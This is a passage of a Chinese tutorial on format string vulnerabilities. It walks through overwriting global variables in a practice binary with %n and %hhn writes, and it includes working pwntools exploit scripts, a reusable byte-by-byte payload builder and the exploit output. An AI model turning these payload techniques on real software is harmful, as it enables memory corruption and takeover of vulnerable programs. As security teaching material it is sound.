或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。

那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第6个参数。由于我们想要把2写到对应的地址处,故而格式化字符串的前面的字节必须是

aa%k$nxx

此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了。

利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。

.data:0804A024                 public a
.data:0804A024 a               dd 7Bh

故而我们可以构造如下的利用代码

def fora():
    sh = process('./overwrite')
    a_addr = 0x0804A024
    payload = 'aa%8$naa' + p32(a_addr)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

对应的结果如下

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 76508
[*] Process './overwrite' stopped with exit code 0 (pid 76508)
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字

上面介绍了覆盖小数字,这里我们就少覆盖大数字了。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。

不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,我们以单字节为例。

首先,我们还是要确定的是要覆盖的地址为多少,利用ida看一下,可以发现地址为0x0804A028。

.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048510r

即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

我们可以依次进行计算。这里给出一个基本的构造,如下

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每个参数的含义基本如下

  • offset表示要覆盖的地址最初的偏移
  • size表示机器字长
  • addr表示将要覆盖的地址。
  • target表示我们要覆盖为的目的变量值。

相应的exploit如下

def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

结果如下

  overwrite git:(master)  python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0                                                                                                       X                                                                                                                                                                                                                                                                                                                                                                                                                                                          \xbb                                                                                                                                                                                                                             ~modified b for a big number!

当然,我们也可以利用%n分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节。


评论